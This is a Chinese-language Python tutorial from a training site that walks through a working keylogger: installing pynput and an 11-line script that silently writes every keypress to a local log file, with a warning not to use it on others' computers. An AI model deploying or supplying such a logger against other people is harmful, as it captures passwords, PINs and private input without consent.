Python开发入门到精通--用 Python 做一个按键记录器
小职 2022-01-04 来源 :Python七号 阅读 2810 评论 0

摘要:本篇介绍了Python开发入门到精通--用 Python 做一个按键记录器,通过具体的内容展现,希望对大家Python的学习有所帮助。

本篇介绍了Python开发入门到精通--用 Python 做一个按键记录器,通过具体的内容展现,希望对大家Python的学习有所帮助。

Python开发入门到精通--用 Python 做一个按键记录器


按键记录器,就你在电脑上的每个按键,都会被记录下来,可以进行操作追踪,当然了,你在网站上输入的用户名密码等敏感信息也会被记录下来。用 Python 实现这个可以说非常简单,不过这玩意请不要用在别人的电脑上。

 

教程

pynput 模块可以帮助我们实现,不过,这不是标准库,因此需要 pip 安装一下:

 

pip install pynput

然后编写下面的 11 行代码,保存为 key_track.py

 

from pynput.keyboard import Listener

 

def write_to_file(key):

    letter = str(key)   

    letter = letter.replace("'", "")   

    with open("./log.txt", 'a') as f:  

        f.write(letter)

 

if __name__ == '__main__':

    with Listener(on_press=write_to_file) as l:

        l.join()  

在命令行执行这个脚本:

 Python开发入门到精通--用 Python 做一个按键记录器

 

 

这个提示告诉我们要在系统设置里面允许程序访问键盘记录,对于 MacOS 就是这里:

 Python开发入门到精通--用 Python 做一个按键记录器

 

 

然后输入按键,就可以在 log.txt 中看到按键记录,按键被记录时,你不会有任何异常感觉:

 Python开发入门到精通--用 Python 做一个按键记录器

 

 

最后的话

本文分享了一个 Python 按键记录器脚本,这可用于拦截通过键盘输入的密码和其他机密信息,对用户构成严重威胁。网络犯罪分子可以由此获得电子支付的 PIN 码和帐号、密码、电子邮件地址、用户名和其他个人信息。


208小时视频教程,995份干货资料,领取资料+高薪就业咨询V:z_zhizuobiao

Python开发入门到精通--用 Python 做一个按键记录器

本文由 @小职 发布于职坐标。未经许可,禁止转载。
喜欢 | 0 不喜欢 | 0
看完这篇文章有何感觉?已经有0人表态,0%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式AI+学习就业服务平台 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved